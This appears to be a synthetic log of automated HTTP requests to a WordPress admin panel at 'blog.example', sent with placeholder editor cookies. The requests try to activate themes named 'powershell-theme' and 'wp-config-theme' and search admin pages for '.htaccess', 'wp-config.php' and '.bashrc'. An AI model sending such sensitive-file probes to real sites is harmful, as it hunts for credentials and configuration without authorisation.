{"method": "GET", "target": "/wp-admin/themes.php?action=activate&stylesheet=powershell-theme&_wpnonce=abc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214698"], "body": ""}
{"method": "GET", "target": "/wp-admin/themes.php?theme=wp-config-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214698"], "body": ""}
{"method": "GET", "target": "/wp-admin/customize.php?theme=wp-config-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214698"], "body": ""}
{"method": "GET", "target": "/wp-admin/theme-editor.php?theme=wp-config-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214698"], "body": ""}
{"method": "GET", "target": "/wp-admin/update.php?action=install-theme&theme=wp-config-theme&_wpnonce=abc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214698"], "body": ""}
{"method": "GET", "target": "/wp-admin/theme-install.php?theme=wp-config-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214698"], "body": ""}
{"method": "GET", "target": "/wp-admin/themes.php?action=activate&stylesheet=wp-config-theme&_wpnonce=abc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214699"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit-comments.php?s=.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-comments.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214699"], "body": ""}
{"method": "GET", "target": "/wp-admin/users.php?s=.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/users.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214699"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugins.php?s=.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugins.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214699"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit-tags.php?taxonomy=post_tag&s=.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-tags.php?taxonomy=post_tag", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214699"], "body": ""}
{"method": "GET", "target": "/wp-admin/themes.php?search=.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214700"], "body": ""}
{"method": "GET", "target": "/wp-admin/theme-install.php?search=.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214700"], "body": ""}
{"method": "GET", "target": "/wp-admin/upload.php?search=.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214700"], "body": ""}
{"method": "GET", "target": "/wp-admin/admin-ajax.php?action=ajax-tag-search&tax=post_tag&q=.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/post.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214700"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit-comments.php?s=wp-config.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-comments.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214700"], "body": ""}
{"method": "GET", "target": "/wp-admin/users.php?s=wp-config.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/users.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214701"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugins.php?s=wp-config.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugins.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214701"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit-tags.php?taxonomy=post_tag&s=wp-config.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-tags.php?taxonomy=post_tag", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214701"], "body": ""}
{"method": "GET", "target": "/wp-admin/themes.php?search=wp-config.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214701"], "body": ""}
{"method": "GET", "target": "/wp-admin/theme-install.php?search=wp-config.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214701"], "body": ""}
{"method": "GET", "target": "/wp-admin/upload.php?search=wp-config.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214702"], "body": ""}
{"method": "GET", "target": "/wp-admin/admin-ajax.php?action=ajax-tag-search&tax=post_tag&q=wp-config.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/post.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214702"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit-comments.php?s=.bashrc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-comments.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214702"], "body": ""}
{"method": "GET", "target": "/wp-admin/users.php?s=.bashrc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/users.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214702"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugins.php?s=.bashrc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugins.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214702"], "body": ""}
